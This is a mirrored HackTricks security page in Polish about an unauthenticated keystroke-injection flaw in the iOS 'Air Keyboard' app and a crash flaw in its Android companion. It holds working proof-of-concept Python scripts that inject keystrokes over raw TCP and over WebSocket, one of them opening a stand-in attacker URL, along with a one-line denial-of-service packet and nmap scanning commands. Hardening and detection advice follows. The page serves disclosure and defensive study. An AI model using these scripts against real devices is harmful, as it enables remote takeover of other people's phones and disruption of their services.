mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
173 lines
7.7 KiB
Markdown
173 lines
7.7 KiB
Markdown
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## TL;DR
|
||
|
||
Wersja iOS komercyjnej aplikacji **“Air Keyboard”** (ID w App Store 6463187929) udostępnia usługę w lokalnej sieci, która **akceptuje ramki naciśnięć klawiszy bez jakiejkolwiek autoryzacji lub weryfikacji pochodzenia**. W zależności od zainstalowanej wersji, usługa jest:
|
||
|
||
* **≤ 1.0.4** – surowy nasłuch TCP na **porcie 8888**, który oczekuje nagłówka długości 2 bajtów, po którym następuje *device-id* i ładunek ASCII.
|
||
* **≥ 1.0.5 (czerwiec 2025)** – nasłuch **WebSocket** na *tym samym* porcie (**8888**), który analizuje klucze **JSON** takie jak `{"type":1,"text":"…"}`.
|
||
|
||
Każde urządzenie w tej samej sieci Wi-Fi / podsieci może zatem **wstrzykiwać dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji**. Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale skonstruowane śmieci wciąż powodują **nieobsługiwany wyjątek w OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
||
|
||
> Luka jest **nadal niezałatana w momencie pisania (lipiec 2025)**, a aplikacja pozostaje dostępna w App Store.
|
||
|
||
---
|
||
|
||
## 1. Odkrywanie usługi
|
||
|
||
Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:
|
||
```bash
|
||
# iOS (unauthenticated input-injection)
|
||
nmap -p 8888 --open 192.168.1.0/24
|
||
|
||
# Android (weakly-authenticated service)
|
||
nmap -p 55535 --open 192.168.1.0/24
|
||
```
|
||
Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:
|
||
```bash
|
||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||
# rooted device / Termux
|
||
netstat -tulpn | grep LISTEN
|
||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||
```
|
||
Na **jailbroken iOS** możesz zrobić coś podobnego do `lsof -i -nP | grep LISTEN | grep 8888`.
|
||
|
||
---
|
||
|
||
## 2. Szczegóły protokołu (iOS)
|
||
|
||
### 2.1 Legacy (≤ 1.0.4) – niestandardowe ramki binarne
|
||
```
|
||
[length (2 bytes little-endian)]
|
||
[device_id (1 byte)]
|
||
[payload ASCII keystrokes]
|
||
```
|
||
Zadeklarowana *długość* obejmuje bajt `device_id` **ale nie** sam nagłówek o długości dwóch bajtów.
|
||
|
||
### 2.2 Aktualna (≥ 1.0.5) – JSON przez WebSocket
|
||
|
||
Wersja 1.0.5 cicho przeszła na WebSocket, zachowując niezmieniony numer portu. Minimalne naciśnięcie klawisza wygląda jak:
|
||
```json
|
||
{
|
||
"type": 1, // 1 = insert text, 2 = special key
|
||
"text": "open -a Calculator\n",
|
||
"mode": 0,
|
||
"shiftKey": false,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}
|
||
```
|
||
Brak handshake, tokenu ani podpisu – pierwszy obiekt JSON już wyzwala zdarzenie UI.
|
||
|
||
---
|
||
|
||
## 3. Wykorzystanie PoC
|
||
|
||
### 3.1 Celowanie ≤ 1.0.4 (surowy TCP)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||
import socket, sys
|
||
|
||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||
|
||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||
frame += keystrokes
|
||
|
||
with socket.create_connection((target_ip, 8888)) as s:
|
||
s.sendall(frame)
|
||
print("[+] Injected", keystrokes)
|
||
```
|
||
### 3.2 Celowanie ≥ 1.0.5 (WebSocket)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||
import json, sys, websocket # `pip install websocket-client`
|
||
|
||
target_ip = sys.argv[1]
|
||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||
ws.send(json.dumps({
|
||
"type": 1,
|
||
"text": "https://evil.example\n",
|
||
"mode": 0,
|
||
"shiftKey": False,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}))
|
||
ws.close()
|
||
print("[+] URL opened on target browser")
|
||
```
|
||
*Każdy drukowalny ASCII — w tym znaki nowej linii, tabulatory i większość klawiszy specjalnych — może być wysyłany, dając atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości, otwieranie złośliwych URL-i, przełączanie ustawień itp.*
|
||
|
||
---
|
||
|
||
## 4. Android Companion – Denial-of-Service
|
||
|
||
Port Androida (55535) oczekuje **hasła o długości 4 znaków zaszyfrowanego za pomocą wbudowanego klucza AES-128-ECB**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet wystarcza, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.
|
||
```python
|
||
import socket
|
||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||
```
|
||
---
|
||
|
||
## 5. Powiązane aplikacje – powracający antywzorzec
|
||
|
||
Air Keyboard to **nie jest odosobniony przypadek**. Inne mobilne narzędzia „zdalna klawiatura/mysz” mają ten sam błąd:
|
||
|
||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 pozwala na nieautoryzowane wykonanie poleceń i rejestrowanie klawiszy w postaci czystego tekstu.
|
||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nieautoryzowane RCE i podsłuchiwanie ruchu.
|
||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 domyślnie bez hasła, słabe PIN-y, atak brute-force i wyciek w postaci czystego tekstu.
|
||
|
||
Te przypadki podkreślają systematyczne zaniedbanie **powierzchni ataku skierowanych na sieć w aplikacjach mobilnych**.
|
||
|
||
---
|
||
|
||
## 6. Przyczyny
|
||
|
||
1. **Brak kontroli pochodzenia / integralności** na przychodzących ramkach (iOS).
|
||
2. **Niewłaściwe użycie kryptografii** (klucz statyczny, ECB, brak walidacji długości) oraz **brak obsługi wyjątków** (Android).
|
||
3. **Uprawnienia przyznane przez użytkownika do lokalnej sieci ≠ bezpieczeństwo** – iOS wymaga zgody w czasie rzeczywistym na ruch LAN, ale nie zastępuje to odpowiedniej autoryzacji.
|
||
|
||
---
|
||
|
||
## 7. Wzmocnienia i środki obronne
|
||
|
||
Zalecenia dla deweloperów:
|
||
|
||
* Powiąż nasłuchiwacz z **`127.0.0.1`** i tuneluj przez **mTLS** lub **Noise XX**, jeśli potrzebna jest zdalna kontrola.
|
||
* Wyprowadzaj **sekrety per urządzenie podczas onboardingu** (np. kod QR lub PIN parowania) i wymuszaj *wzajemną* autoryzację przed przetwarzaniem danych wejściowych.
|
||
* Przyjmij **Apple Network Framework** z *NWListener* + TLS zamiast surowych gniazd.
|
||
* Wprowadź **sprawdzanie długości prefiksu** i strukturalną obsługę wyjątków podczas deszyfrowania lub dekodowania ramek.
|
||
|
||
Szybkie wygrane dla zespołów Blue-/Red-Team:
|
||
|
||
* **Polowanie w sieci:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` lub filtr Wireshark `tcp.port == 8888`.
|
||
* **Inspekcja w czasie rzeczywistym:** Skrypt Frida podłączający `socket()`/`NWConnection`, aby wylistować nieoczekiwane nasłuchiwacze.
|
||
* **Raport prywatności aplikacji iOS (Ustawienia ▸ Prywatność i bezpieczeństwo ▸ Raport prywatności aplikacji)** podkreśla aplikacje, które kontaktują się z adresami LAN – przydatne do wykrywania niepożądanych usług.
|
||
* **Mobilne EDR-y** mogą dodać proste reguły Yara-L dla kluczy JSON `"selectionStart"`, `"selectionEnd"` wewnątrz ładunków TCP w postaci czystego tekstu na porcie 8888.
|
||
|
||
---
|
||
|
||
## Arkusz oszustw detekcji (Pentesterzy)
|
||
```bash
|
||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||
| awk '/Ports/{print $2 " " $4}'
|
||
|
||
# Inspect running sockets on a connected Android target
|
||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||
```
|
||
---
|
||
|
||
## Odniesienia
|
||
|
||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|